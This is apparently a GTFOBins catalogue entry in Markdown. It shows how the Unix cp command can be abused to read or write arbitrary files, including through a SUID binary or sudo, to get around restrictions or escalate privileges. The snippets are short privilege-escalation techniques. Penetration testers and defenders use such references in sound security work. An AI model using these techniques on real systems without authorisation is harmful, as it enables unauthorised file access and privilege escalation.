GTFOBins.github.io/_gtfobins/cp.md
2018-09-03 21:40:09 +01:00

29 lines
645 B
Markdown

---
description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
functions:
file-write:
- code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
cp $TF $LFILE
file-read:
- code: |
LFILE=file_to_read
TF=$(mktemp)
cp $LFILE $TF
cat $TF
suid-enabled:
- code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
./cp $TF $LFILE
sudo-enabled:
- code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
sudo cp $TF $LFILE
---